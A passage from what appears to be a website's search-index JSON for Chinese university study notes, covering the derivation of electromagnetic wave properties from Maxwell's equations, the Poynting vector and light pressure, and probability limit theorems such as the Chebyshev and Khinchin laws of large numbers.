E_y}{\\partial t} \\tag{4-2} \\\\     \\frac{\\partial H_y}{\\partial x} - \\frac{\\partial H_x}{\\partial y} &amp;= \\kappa_e \\epsilon_0 \\frac{\\partial E_z}{\\partial t} \\tag{4-3} \\end{align*}\\] <p>\u63a5\u4e0b\u6765\uff0c\u8fd0\u7528\u8fd9\u516b\u4e2a\u65b9\u7a0b\uff0c\u4e00\u6b65\u6b65\u63a8\u5bfc\u51fa\u7535\u78c1\u6ce2\u7684\u6027\u8d28</p>"},{"location":"NOTE/Physics/maxwell/#_4","title":"\u6a2a\u6ce2","text":"<p>\u9996\u5148\uff0c\u6211\u4eec\u6709\uff0c\u5728\\(x\\)\u548c\\(y\\)\u65b9\u5411\u7684\u7535\u573a\u5f3a\u5ea6\u548c\u78c1\u573a\u5f3a\u5ea6\u90fd\u662f\u4e00\u6837\u7684\uff0c\u4e0d\u4f1a\u53d8\u5316\uff1b\u6240\u4ee5</p> \\[    \\dfrac{\\partial E_x}{\\partial x} = \\dfrac{\\partial E_y}{\\partial y} = \\dfrac{\\partial H_x}{\\partial x} = \\dfrac{\\partial H_y}{\\partial y} = 0 \\] <p>\u7531 (1) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial E_z}{\\partial z} = 0 \\] <p>\u7531 (2-3) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial H_z}{\\partial t} = 0  \\] <p>\u7531 (3) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial H_z}{\\partial z} = 0 \\] <p>\u7531 (4-3) \u5f0f\uff0c\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial E_z}{\\partial t} = 0 \\] <p>\u6240\u4ee5\u7535\u573a\u548c\u78c1\u573a\u968f\u7740z\u8f74\u7684\u53d8\u5316\u662f\u4e0d\u53d8\u7684\uff0c\u53ef\u4ee5\u8bbe\u4e3a\\(0\\)</p> \\[     E \\perp k, H \\perp k \\]"},{"location":"NOTE/Physics/maxwell/#e-perp-h","title":"\\(E \\perp H\\)","text":"<p>\u8fd0\u7528\\(E_z=H_z=0\\)\uff0c\u6211\u4eec\u6709</p> <p>(2-1) \u5f0f</p> \\[     \\dfrac{\\partial E_y}{\\partial z} = \\kappa_m \\mu_0 \\dfrac{\\partial H_x}{\\partial t} \\] <p>(2-2) \u5f0f</p> \\[     \\dfrac{\\partial E_x}{\\partial z} = -\\kappa_m \\mu_0 \\dfrac{\\partial H_y}{\\partial t} \\] <p>(4-1) \u5f0f</p> \\[     \\dfrac{\\partial H_y}{\\partial z} = -\\kappa_e \\epsilon_0 \\dfrac{\\partial E_x}{\\partial t} \\] <p>(4-2) \u5f0f</p> \\[     \\dfrac{\\partial H_x}{\\partial z} = \\kappa_e \\epsilon_0 \\dfrac{\\partial E_y}{\\partial t} \\] <p>\u7531\u4e8e\\(x,y\\)\u7684\u65b9\u5411\u662f\u4efb\u610f\u5b9a\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8bbe\\(x\\)\u7684\u65b9\u5411\u5c31\u662f\u7535\u573a\u7684\u65b9\u5411\uff1b\u90a3\u4e48\u6211\u4eec\u6709</p> \\[     \\dfrac{\\partial H_x}{\\partial z} = 0 =\\dfrac{\\partial H_x}{\\partial t} \\] <p>\u6240\u4ee5\u78c1\u573a\u5f3a\u5ea6\u7684\u65b9\u5411\u4e0e\u7535\u573a\u5f3a\u5ea6\u65b9\u5411\u5782\u76f4\uff0c\u6545\\(E \\perp H\\)</p>"},{"location":"NOTE/Physics/maxwell/#_5","title":"\u6ce2\u52a8\u65b9\u7a0b","text":"<p>\u539f\u6765\u5149\u5c31\u662f\u7535\u78c1\u6ce2</p> <p>\u5bf9\u4e0a\u9762\u7684\u56db\u4e2a\u65b9\u7a0b\u4e2d\u7684(2-2)\u4e24\u8fb9\u5bf9\\(t\\)\u6c42\u504f\u5bfc</p> \\[ \\frac{\\partial^2 E_x}{\\partial z^2} = -\\kappa_m \\mu_0 \\frac{\\partial}{\\partial t} \\cdot \\frac{\\partial H_y}{\\partial z} = \\kappa_m \\mu_0 K_e \\epsilon_0 \\frac{\\partial^2 E_x}{\\partial t^2} \\] <p>\u540c\u7406\uff0c\u5bf9(4-1)\u64cd\u4f5c\uff0c\u5f97\u5230\u4ee5\u4e0b\u4e24\u4e2a\u65b9\u7a0b</p> \\[\\begin{align*} \\frac{\\partial^2 E_x}{\\partial z^2} - \\kappa_e \\epsilon_0 K_m \\mu_0 \\frac{\\partial^2 E_x}{\\partial t^2} &amp;= 0 \\\\ \\frac{\\partial^2 H_y}{\\partial z^2} - \\kappa_e \\epsilon_0 K_m \\mu_0 \\frac{\\partial^2 H_y}{\\partial t^2} &amp;= 0 \\end{align*}\\] <p>\u731c\u6839\u5f97\u5230</p> \\[     \\begin{cases}      E_x=E_{x0} e^{i(\\omega t - kz)}\\\\      H_y=H_{y0} e^{i(\\omega t - kz)}\\\\     \\end{cases} \\] <p>\u5e26\u5165\u65b9\u7a0b\uff0c\u5f97\u5230</p> \\[     \\begin{cases}      k^2 = \\kappa_e \\epsilon_0 \\kappa_m \\mu_0 \\omega^2\\\\      k = \\omega \\sqrt{\\kappa_e \\epsilon_0 \\kappa_m \\mu_0}     \\end{cases}  \\] <p>\u53c8\u56e0\u4e3a</p> \\[     v=\\dfrac{\\omega}{k}= \\dfrac{1}{\\sqrt{\\kappa_e \\epsilon_0 \\kappa_m \\mu_0}} \\] <p>\u5728\u771f\u7a7a\u4e2d\uff0c\u78c1\u5bfc\u7387\u548c\u4ecb\u7535\u5e38\u6570\u4e3a1\uff1b\u4ee3\u5165\u6570\u636e\u8ba1\u7b97\u53d1\u73b0\uff0c\\(v=c=3.0 \\times 10^8 m/s\\)\uff0c\u8fd9\u5c31\u662f\u5149\u901f</p> <p>Info</p> <p>\u8a79\u59c6\u65af\u00b7\u514b\u62c9\u514b\u00b7\u9ea6\u514b\u65af\u97e6\uff08James Clerk Maxwell\uff09\u57281861\u5e74\u81f31862\u5e74\u671f\u95f4\uff0c\u901a\u8fc7\u4ed6\u7684\u7535\u78c1\u7406\u8bba\u63a8\u5bfc\u51fa\u4e86\u5149\u901f\u3002\u4ed6\u5728\u53d1\u8868\u4e8e1865\u5e74\u7684\u8bba\u6587\u300a\u7535\u78c1\u573a\u7684\u52a8\u529b\u5b66\u7406\u8bba\u300b\uff08A Dynamical Theory of the Electromagnetic Field\uff09\u4e2d\u7cfb\u7edf\u5730\u603b\u7ed3\u4e86\u8fd9\u4e00\u6210\u679c\u3002</p> <p>\u9ea6\u514b\u65af\u97e6\u901a\u8fc7\u7ed3\u5408\u6cd5\u62c9\u7b2c\u7535\u78c1\u611f\u5e94\u5b9a\u5f8b\u3001\u5b89\u57f9\u5b9a\u5f8b\uff08\u4fee\u6b63\u540e\u5f15\u5165\u4e86\u4f4d\u79fb\u7535\u6d41\uff09\u3001\u9ad8\u65af\u5b9a\u5f8b\u4ee5\u53ca\u9ad8\u65af\u78c1\u5b9a\u5f8b\uff0c\u5f62\u6210\u4e86\u4e00\u7ec4\u63cf\u8ff0\u7535\u78c1\u573a\u7684\u65b9\u7a0b\u7ec4\uff0c\u5373\u540e\u6765\u88ab\u79f0\u4e3a\u201c\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b\u7ec4\u201d\u3002\u5728\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\uff0c\u4ed6\u6ce8\u610f\u5230\u7535\u78c1\u6ce2\u7684\u4f20\u64ad\u901f\u5ea6\u4e0e\u4ecb\u8d28\u7684\u7535\u78c1\u6027\u8d28\u76f8\u5173\uff1a</p> \\[ v = \\frac{1}{\\sqrt{\\mu_0 \\varepsilon_0}} \\] <p>\u5f53\u9ea6\u514b\u65af\u97e6\u4f7f\u7528\u5f53\u65f6\u5df2\u77e5\u7684\u5b9e\u9a8c\u6570\u636e\u8ba1\u7b97\u8be5\u503c\u65f6\uff0c\u53d1\u73b0\u5176\u7ed3\u679c\u63a5\u8fd1\u4e8e\u5df2\u77e5\u7684\u5149\u901f\uff08\u7ea6 \\( 3 \\times 10^8 \\, \\text{m/s} \\)\uff09\u3002\u56e0\u6b64\uff0c\u4ed6\u63d0\u51fa\u4e86\u4e00\u4e2a\u9769\u547d\u6027\u7684\u5047\u8bbe\uff1a\u5149\u662f\u4e00\u79cd\u7535\u78c1\u6ce2\u3002\u8fd9\u4e00\u53d1\u73b0\u662f\u7269\u7406\u5b66\u53f2\u4e0a\u7684\u91cd\u8981\u91cc\u7a0b\u7891\uff0c\u5c06\u7535\u78c1\u5b66\u548c\u5149\u5b66\u7edf\u4e00\u5728\u4e00\u4e2a\u7406\u8bba\u6846\u67b6\u5185\u3002</p> <p>\u800c\u5f0f\u5b50\u4e2d\u4f59\u4e0b\u7684</p> \\[     \\sqrt{\\kappa_e \\kappa_m} = n \\] <p>\u5373\u4e3a\u6298\u5c04\u7387(\u5149\u901f\u5728\u771f\u7a7a\u4e2d\u7684\u901f\u5ea6\u4e0e\u4ecb\u8d28\u4e2d\u7684\u901f\u5ea6\u7684\u6bd4\u503c)</p> \\[     v=\\dfrac{c}{n} \\]"},{"location":"NOTE/Physics/maxwell/#_6","title":"\u7535\u573a\u548c\u78c1\u573a","text":"<p>\u7531\u63a8\u5bfc\u7535\u573a\u4e0e\u78c1\u573a\u76f8\u4e92\u5782\u76f4\u7684(2-2)\u5f0f\\(\\dfrac{\\partial E_x}{\\partial z} = -\\kappa_m \\mu_0 \\dfrac{\\partial H_y}{\\partial t}\\),\u7ee7\u7eed\u5c06\u5f97\u51fa\u7684\u7535\u573a\u548c\u78c1\u573a\u4ee3\u5165\uff0c\u5f97\u5230</p> \\[ \\begin{align*} -i k E_{x_0} e^{i(\\omega t - kx)} &amp;= -\\kappa_m \\mu_0 i \\omega H_{y_0} e^{i(\\omega t - kx)} \\\\ k E_{x_0} &amp;= \\kappa_m \\mu_0 \\omega H_{y_0} \\\\ E_{x_0} &amp;= \\kappa_m \\mu_0 \\frac{\\omega}{k} H_{y_0} = \\kappa_m \\mu_0 v H_{y_0} \\\\ &amp;= \\kappa_m \\mu_0 \\frac{1}{\\sqrt{\\kappa_m \\mu_0 \\kappa_e \\varepsilon_0}} H_{y_0} \\\\ \\sqrt{\\kappa_e \\varepsilon_0} E_{x_0} &amp;= \\sqrt{\\kappa_m \\mu_0} H_{y_0} \\\\ \\sqrt{\\kappa_e \\varepsilon_0} E_{x_0} e^{i \\phi_E} &amp;= \\sqrt{\\kappa_m \\mu_0} H_{y_0} e^{i \\phi_H} \\end{align*} \\] <p>\u521d\u76f8\u76f8\u540c</p> \\[ \\begin{cases} \\sqrt{\\kappa_e \\varepsilon_0} E_0 = \\sqrt{\\kappa_m \\mu_0} H_0 \\\\ \\phi_E = \\phi_H \\end{cases} \\] <p>\u5728\u771f\u7a7a\u4e2d\uff0c\\(\\kappa_e=\\kappa_m=1\\)</p> <p>\u6240\u4ee5</p> \\[     \\sqrt{\\varepsilon_0} E_0 = \\sqrt{\\mu_0} H_0 \\] \\[     E_0 = \\dfrac{\\mu_0 H_0}{\\sqrt{\\varepsilon_0 \\mu_0}}=cB_0 \\] <p>Key-point</p> \\[     B_0=\\dfrac{E_0}{c} \\] <p>\u7535\u573a\u548c\u78c1\u573a\u53ea\u5dee\u4e00\u4e2a\u5e38\u6570\uff01</p>"},{"location":"NOTE/Physics/maxwell/#_7","title":"\u7535\u78c1\u6ce2\u7684\u80fd\u91cf\u5bc6\u5ea6","text":"<p>\u5355\u4f4d\u4f53\u79ef\u5185\u7535\u78c1\u6ce2\u7684\u80fd\u91cf\u5305\u62ec\u7535\u573a\u7684\u90e8\u5206\u548c\u78c1\u573a\u7684\u90e8\u5206</p> \\[ U = \\iiint \\left( \\frac{1}{2} \\varepsilon_0 E^2 + \\frac{1}{2} \\frac{B^2}{\\mu_0} \\right) dv \\] <p>\u66f4\u4e00\u822c\u7684</p> \\[ U = U_E + U_B = \\iiint \\left( \\frac{1}{2} \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\frac{1}{2} \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right) dv \\] \\[ \\frac{dU}{dt} = \\frac{d}{dt} \\iiint \\left( \\frac{1}{2} \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\frac{1}{2} \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right) dv \\] \\[ = \\frac{1}{2} \\iiint \\frac{\\partial}{\\partial t} \\left( \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right) dv \\] <p>\u5c55\u5f00\uff1a</p> \\[ \\frac{\\partial}{\\partial t} \\left( \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right)  = \\kappa_e \\varepsilon_0 \\frac{\\partial}{\\partial t} (\\boldsymbol{E} \\cdot \\boldsymbol{E}) + \\kappa_m \\mu_0 \\frac{\\partial}{\\partial t} (\\boldsymbol{H} \\cdot \\boldsymbol{H}) \\] \\[ = 2 \\kappa_e \\varepsilon_0 \\boldsymbol{E} \\cdot \\frac{\\partial \\boldsymbol{E}}{\\partial t} + 2 \\kappa_m \\mu_0 \\boldsymbol{H} \\cdot \\frac{\\partial \\boldsymbol{H}}{\\partial t} \\] \\[ = 2 \\boldsymbol{E} \\cdot \\frac{\\partial \\boldsymbol{D}}{\\partial t} + 2 \\boldsymbol{H} \\cdot \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\] <p>\u7531\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b\uff1a</p> \\[ \\frac{\\partial \\boldsymbol{D}}{\\partial t} = \\nabla \\times \\boldsymbol{H} - \\boldsymbol{J_0} \\] \\[ \\frac{\\partial \\boldsymbol{B}}{\\partial t} = -\\nabla \\times \\boldsymbol{E} \\] <p>\u4ee3\u5165\u9ad8\u4eae\u90e8\u5206\u540e\u5f97\u5230\uff1a</p> \\[ 2 \\boldsymbol{E} \\cdot \\left( \\nabla \\times \\boldsymbol{H} - \\boldsymbol{J_0} \\right) - 2 \\boldsymbol{H} \\cdot \\left( \\nabla \\times \\boldsymbol{E} \\right) \\] \\[ = 2 \\left[ \\boldsymbol{E} \\cdot (\\nabla \\times \\boldsymbol{H}) - \\boldsymbol{H} \\cdot (\\nabla \\times \\boldsymbol{E}) - \\boldsymbol{J_0} \\cdot \\boldsymbol{E} \\right] \\] \\[ = -2 \\nabla \\cdot (\\boldsymbol{E} \\times \\boldsymbol{H}) - 2 \\boldsymbol{J_0} \\cdot \\boldsymbol{E} \\] <p>\u4ee5\u4e0a\u7684\u5316\u7b80\u8fd0\u7528\u4e86</p> \\[ \\boldsymbol{E} \\cdot (\\nabla \\times \\boldsymbol{H}) - \\boldsymbol{H} \\cdot (\\nabla \\times \\boldsymbol{E}) = - \\nabla \\cdot (\\boldsymbol{E} \\times \\boldsymbol{H}) \\] <p>\u6700\u540e\u8fd0\u7528\u9ad8\u65af\u5b9a\u7406\u5316\u7b80\u5f97\u5230</p> \\[ \\frac{dU}{dt} = - \\iiint \\nabla \\cdot (\\boldsymbol{E} \\times \\boldsymbol{H}) dv - \\iiint (\\boldsymbol{J_0} \\cdot \\boldsymbol{E}) dv \\] \\[ = - \\iint (\\boldsymbol{E} \\times \\boldsymbol{H}) \\cdot d\\boldsymbol{A} - \\iiint (\\boldsymbol{J_0} \\cdot \\boldsymbol{E}) dv \\] <p>\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u7ee7\u7eed\u8ba8\u8bba\u6700\u540e\u7684\\(J_0 \\cdot E\\) \u79ef\u5206\u4f1a\u5f97\u5230\u4ec0\u4e48</p> <p>\u7531\u4e8e\\(J_0 =\\sigma (\\boldsymbol{E}+\\boldsymbol{K}) , \\therefore \\boldsymbol{E}=\\dfrac{1}{\\sigma} J_0 - \\boldsymbol{K}\\)</p> <p>\u6240\u4ee5</p> <p></p> \\[ \\begin{align*} \\int\\int\\int \\left( \\boldsymbol{j_0} \\cdot \\boldsymbol{E} \\right) dv &amp; = \\left( \\boldsymbol{j_0} \\cdot \\boldsymbol{E} \\right) \\Delta A \\cdot \\Delta l \\\\ &amp; = \\boldsymbol{j_0} \\cdot \\left( \\rho \\boldsymbol{j_0} - \\boldsymbol{K} \\right) \\Delta A \\cdot \\Delta l \\\\ &amp; = \\rho j_0^2 \\Delta A \\cdot \\Delta l - \\boldsymbol{j_0} \\cdot \\boldsymbol{K} \\Delta A \\cdot \\Delta l \\\\ &amp; = \\rho \\frac{\\Delta l}{\\Delta A} \\left( j_0 A \\right)^2 - \\left( j_0 A \\right) \\left( \\boldsymbol{K} \\cdot \\Delta l \\right) \\\\ &amp; = R i_0^2 - i_0 \\Delta \\varepsilon &amp; = Q - P \\end{align*} \\] <p>\u6700\u540e\u5f97\u5230\u5355\u4f4d\u65f6\u95f4\u5185\u7684\u80fd\u91cf\u4e3a</p> <p>Key-point</p> \\[     \\dfrac{dU}{dt} = - \\iint \\boldsymbol{S} \\cdot d\\boldsymbol{A} - Q + P \\]"},{"location":"NOTE/Physics/maxwell/#poynting","title":"Poynting \u77e2\u91cf","text":"<p>\u5b9a\u4e49\u5355\u4f4d\u65f6\u95f4\uff0c\u5355\u4f4d\u9762\u79ef\u5185\u7684\u80fd\u91cf\u6d41\u52a8</p> \\[ \\boldsymbol{S} = \\boldsymbol{E} \\times \\boldsymbol{H} \\] <p>Note</p> \\[     S = \\dfrac{EB}{\\mu_0} = \\dfrac{E^2}{\\mu_0 c} = \\dfrac{E^2}{Z_0} \\] <p>\u5176\u4e2d\\(Z_0=377 \\Omega\\)</p> <p>\u80fd\u91cf\u5bc6\u5ea6(\u5355\u4f4d\u65f6\u95f4\uff0c\u5355\u4f4d\u9762\u79ef)\u4e3aPoynting\u77e2\u91cf\u7684\u5747\u503c</p> <p> </p> <p>Note</p> <p>\u7535\u573a\u80fd\u91cf\u5bc6\u5ea6\u4e0e\u78c1\u573a\u80fd\u91cf\u5bc6\u5ea6\u7684\u5173\u7cfb</p> \\[     \\mu_E=\\dfrac{1}{2} \\varepsilon_0 E^2 = \\dfrac{1}{2} \\varepsilon c^2B^2 =  \\dfrac{1}{2} \\dfrac{B^2}{\\mu_0} = \\mu_B \\] <p>\u6545\u603b\u80fd\u91cf\u5bc6\u5ea6(\u5355\u4f4d\u65f6\u95f4\uff0c\u5355\u4f4d\u4f53\u79ef)\u4e3a</p> \\[     \\mu = \\mu_E + \\mu_B =  2 \\mu_E = \\varepsilon_0 E^2  \\] <p>\\(I\\) \u4e0e \\(\\mu\\) \u7684\u5173\u7cfb</p> <p> </p> Example <p> </p>"},{"location":"NOTE/Physics/maxwell/#_8","title":"\u7535\u8def\u4e2d\u7684\u80fd\u91cf\u4f20\u8f93","text":"<p>\u5982\u56fe\u7684\u4e00\u4e2a\u76f4\u6d41\u7535\u8def</p> <p>\u8003\u8651\u4e0e\u7535\u6e90\u6b63\u6781\u76f8\u8fde\u7684\u5bfc\u7ebf\uff0c\u5bfc\u7ebf\u5185\u90e8\u6709\u4e00\u4e2a\u7535\u573a\uff0c\u90a3\u4e48\u5bfc\u7ebf\u5916\u90e8\u4e00\u5b9a\u4e5f\u6709\u4e00\u4e2a\u65b9\u5411\u76f8\u540c\u7684\u7535\u573a,\u8fd9\u662f\u56e0\u4e3a</p> \\[    \\oint \\boldsymbol{E} \\cdot \\boldsymbol{dl} = -\\dfrac{d\\Phi_B}{dt} =0 \\] <p>\u518d\u52a0\u4e0a\u4e00\u4e2a\u5782\u76f4\u5bfc\u7ebf\u7684\u7535\u573a\uff0c\u6839\u636e\\(S=E \\times H\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u80fd\u91cf\u6d41\u52a8\u7684\u65b9\u5411\uff0c\u4e00\u65b9\u9762\u6d41\u5411\u7535\u963b\uff0c\u53e6\u5916\u4e00\u65b9\u9762\u88ab\u5bfc\u7ebf\u6d88\u8017</p> <p>\u4e0e\u7535\u6e90\u8d1f\u6781\u76f8\u8fde\u7684\u5bfc\u7ebf\u4e5f\u662f\u7c7b\u4f3c\u7684\uff1b</p>"},{"location":"NOTE/Physics/maxwell/#_9","title":"\u7535\u78c1\u6ce2\u8574\u542b\u7684\u529b","text":"<p>\u9996\u5148\u5047\u8bbe\u5176\u6709\u4e00\u4e2a\u529b\\(\\Delta F\\)\uff0c\u90a3\u4e48\u8fd9\u4e2a\u529b\u4f1a\u5bf9\u7535\u8377\u505a\u529f\uff0c\u5373\\(\\Delta W = \\Delta F \\cdot \\Delta l\\);\u800c\u8fd9\u4e00\u90e8\u5206\u529f\u5c31\u662f\u8fd9\u4e2a\u7269\u4f53\u5438\u6536\u7684\u51c0\u80fd\u91cf;</p> \\[ \\Delta \\boldsymbol{F} \\cdot c \\Delta t = (\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\cdot \\Delta A \\Delta t \\] <p>\u6545</p> \\[ \\Delta \\boldsymbol{F} = \\dfrac{1}{c} (\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\Delta A \\] <p>Warning</p> <p>\u6ce8\u610f\u662f\u77e2\u91cf\u51cf</p>"},{"location":"NOTE/Physics/maxwell/#light-pressure","title":"\u5149\u538b(light pressure)","text":"<p>\u5355\u4f4d\u9762\u79ef\u4e0a\u7684\u529b</p> \\[     P = \\dfrac{1}{c} (\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\]"},{"location":"NOTE/Physics/maxwell/#_10","title":"\u52a8\u91cf\u5bc6\u5ea6","text":"<p>\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u52a8\u91cf</p> \\[     \\Delta g  = \\dfrac{F \\cdot \\Delta t}{\\Delta A c \\Delta t} = \\dfrac{F}{c \\Delta A} = \\dfrac{1}{c^2}(\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\] <p>\\(g_{in}=\\dfrac{1}{c^2}S_{in}\\) \u4e3a\u5165\u5c04\u5149\u7684\u52a8\u91cf\u5bc6\u5ea6\uff0c\\(g_{out}=\\dfrac{1}{c^2}S_{out}\\) \u4e3a\u53cd\u5c04\u5149\u7684\u52a8\u91cf\u5bc6\u5ea6</p> <p>Key-point</p> <p>\u5bf9\u4e8e\u767d\u4f53\uff0c\\(S_{in}=S_{out}\\)\uff0c\u6545\\(g_{in}=g_{out}\\)</p> \\[     P = \\dfrac{2}{c} \\boldsymbol{S_{in}} \\] <p>\u5bf9\u4e8e\u9ed1\u4f53\uff0c\\(S_{out}=0\\)\uff0c\u6545\\(g_{in}=\\dfrac{1}{c^2}S_{in}\\)</p> \\[     P = \\dfrac{1}{c} \\boldsymbol{S_{in}} \\]"},{"location":"NOTE/Probability/","title":"\u6982\u7387\u8bba(H)","text":"<p> \u7ea6 50 \u4e2a\u5b57 </p> <p>\u6388\u8bfe:\u82cf\u4e2d\u6839</p> <p>\"\u540c\u5b66\u4eec\u6211\u4eec\u7684\u96f7\u8fbe\u70b9\u540d\u5df2\u7ecf\u5f00\u59cb\"</p>"},{"location":"NOTE/Probability/#_1","title":"\u76ee\u5f55","text":"<ul> <li>\u5176\u5b83\u77e5\u8bc6</li> <li>\u4e8b\u4ef6\u4e0e\u6982\u7387</li> <li>\u5206\u5e03\u5217\u4e0e\u5206\u5e03\u51fd\u6570</li> <li>\u6570\u5b57\u7279\u5f81</li> <li>\u6781\u9650\u5b9a\u7406</li> </ul>"},{"location":"NOTE/Probability/Fourth/","title":"\u6982\u7387\u6781\u9650\u7406\u8bba","text":"<p> \u7ea6 2138 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p>"},{"location":"NOTE/Probability/Fourth/#_2","title":"\u4f2f\u52aa\u5229\u5927\u6570\u5b9a\u5f8b","text":"<p>\u7ed9\u5b9a\\(p \\in (0, 1)\\)\uff0c\u8bb0\\(S_n \\sim \\text{Binomial}(n, p)\\)\uff0c\u5219</p> \\[     P(w: \\lvert \\frac{S_n(w)}{n} - p \\rvert \\geqslant \\epsilon) \\to 0 \\quad (n \\to \\infty) \\] <p>\u5373\u9891\u7387\u4e0e\u6982\u7387\u7684\u504f\u5dee\u7684\u6982\u7387\u968f\u7740\u8bd5\u9a8c\u6b21\u6570\u7684\u589e\u52a0\u800c\u8d8b\u8fd1\u4e8e0</p>"},{"location":"NOTE/Probability/Fourth/#possion","title":"Possion \u6781\u9650\u5b9a\u7406","text":"<p>\u4ee4 \\(0 &lt; p_n &lt; 1\\)\uff0c\u5047\u8bbe \\(S_n \\sim B(n, p_n)\\)\uff0c\u5982\u679c \\(np_n \\to \\lambda\\)\uff0c\u5e76\u4e14 \\(0 &lt; \\lambda &lt; 1\\) \u90a3\u4e48\u5bf9\u4efb\u4f55 \\(k = 0, 1, 2, \\ldots\\)</p> \\[ P(S_n = k) \\to \\frac{\\lambda^k e^{-\\lambda}}{k!}, \\quad n \\to \\infty \\] <p>\u8bc1\u660e\uff1a\u7531\u4e8e \\(S_n \\sim B(n, p_n)\\)</p> \\[ P(S_n = k) = \\frac{n!}{k!(n-k)!} p_n^k (1-p_n)^{n-k} \\] \\[ = \\frac{1}{k!} \\cdot \\frac{n(n-1)\\cdots(n-k+1)}{n^k} \\cdot (np_n)^k \\cdot \\left(1 - \\frac{\\lambda}{n} + o\\left(\\frac{1}{n}\\right)\\right)^{n-k} \\] \\[ \\to \\frac{\\lambda^k e^{-\\lambda}}{k!}, \\quad n \\to \\infty \\]"},{"location":"NOTE/Probability/Fourth/#chebyshev","title":"Chebyshev \u5927\u6570\u5f8b","text":"<p>Chebyshev \u4e0d\u7b49\u5f0f: \u5bf9\u4efb\u610f\u968f\u673a\u53d8\u91cf \\(X\\), \\(EX\\) \u548c \\(EX^2\\) \u5b58\u5728\u6709\u9650, \u90a3\u4e48\u5bf9\u4efb\u610f \\(\\varepsilon &gt; 0\\)</p> \\[ P(|X - EX| &gt; \\varepsilon) \\leqslant \\frac{Var(X)}{\\varepsilon^2} \\] <p>\u5e94\u7528 Chebyshev \u4e0d\u7b49\u5f0f\u8bc1\u660e Bernoulli \u5927\u6570\u5f8b</p> \\[ P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\varepsilon\\right) = P(|S_n - np| &gt; n\\varepsilon) \\] \\[ \\leqslant \\frac{Var(S_n - np)}{n^2 \\varepsilon^2} \\] \\[ = \\frac{np(1-p)}{n^2 \\varepsilon^2} \\to 0, \\quad n \\to \\infty \\] <p>Chebyshev \u5927\u6570\u5f8b</p> <p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\\(E\\xi_k = \\mu\\)\u3002\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u5982\u679c</p> \\[ \\frac{Var(S_n)}{n^2} \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48</p> \\[ \\frac{S_n}{n} \\to \\mu, \\quad n \\to \\infty \\] <p>\u66f4\u4e00\u822c\u5730\uff0c\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\\(E\\xi_k = \\mu_k\\)\u3002\u5982\u679c</p> \\[ \\frac{Var(S_n)}{n^2} \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48</p> \\[ \\frac{S_n}{n} - \\frac{\\sum_{k=1}^{n} \\mu_k}{n} \\to 0, \\quad n \\to \\infty \\] <p>Chebyshev \u5927\u6570\u5f8b\u7684\u8bc1\u660e</p> <p>\u5bf9\u4efb\u610f \\(\\varepsilon &gt; 0\\),</p> \\[ P\\left(\\left|\\frac{S_n}{n} - \\frac{\\sum_{k=1}^{n} \\mu_k}{n}\\right| &gt; \\varepsilon\\right) \\leqslant \\frac{Var(S_n)}{n^2 \\varepsilon^2} \\to 0 \\] <p>\u8fd9\u91cc\\(S_n\\) \u5bf9\u5e94Chebyshev\u4e0d\u7b49\u5f0f\u4e2d\u7684\\(X\\)\uff0c\\(\\sum_{k=1}^{n} \\mu_k\\) \u5bf9\u5e94Chebyshev\u4e0d\u7b49\u5f0f\u4e2d\u7684\\(\\mu\\)</p> <p>\\(n\\varepsilon\\) \u5bf9\u5e94Chebyshev\u4e0d\u7b49\u5f0f\u4e2d\u7684\\(\\varepsilon\\)</p> <p>Chebyshev \u5927\u6570\u5f8b\u7684\u610f\u4e49: 1. \u6837\u672c\u5747\u503c\u6e10\u8fd1\u903c\u8fd1\u5747\u503c</p> <ol> <li> <p>\u6ca1\u6709\u72ec\u7acb\u6027\u8981\u6c42</p> </li> <li> <p>Chebyshev \u5927\u6570\u5f8b\u7684\u4e0d\u8db3\u4e4b\u5904: \u8981\u6c42\u65b9\u5dee\u5b58\u5728</p> </li> </ol>"},{"location":"NOTE/Probability/Fourth/#khinchin","title":"Khinchin \u5927\u6570\u5f8b","text":"<p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u7684\u968f\u673a\u53d8\u91cf\uff0c\u4e14 \\(E\\xi_k = \\mu\\)\uff0c\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u90a3\u4e48</p> \\[ \\frac{S_n}{n} \\to \\mu, \\quad n \\to \\infty \\]"},{"location":"NOTE/Probability/Fourth/#de-moivre-laplace","title":"De Moivre-Laplace \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406","text":"<p>De Moivre\u516c\u5f0f</p> \\[     (\\cos \\theta + i \\sin \\theta)^n = \\cos n\\theta + i \\sin n\\theta \\] <p>\u5047\u8bbe 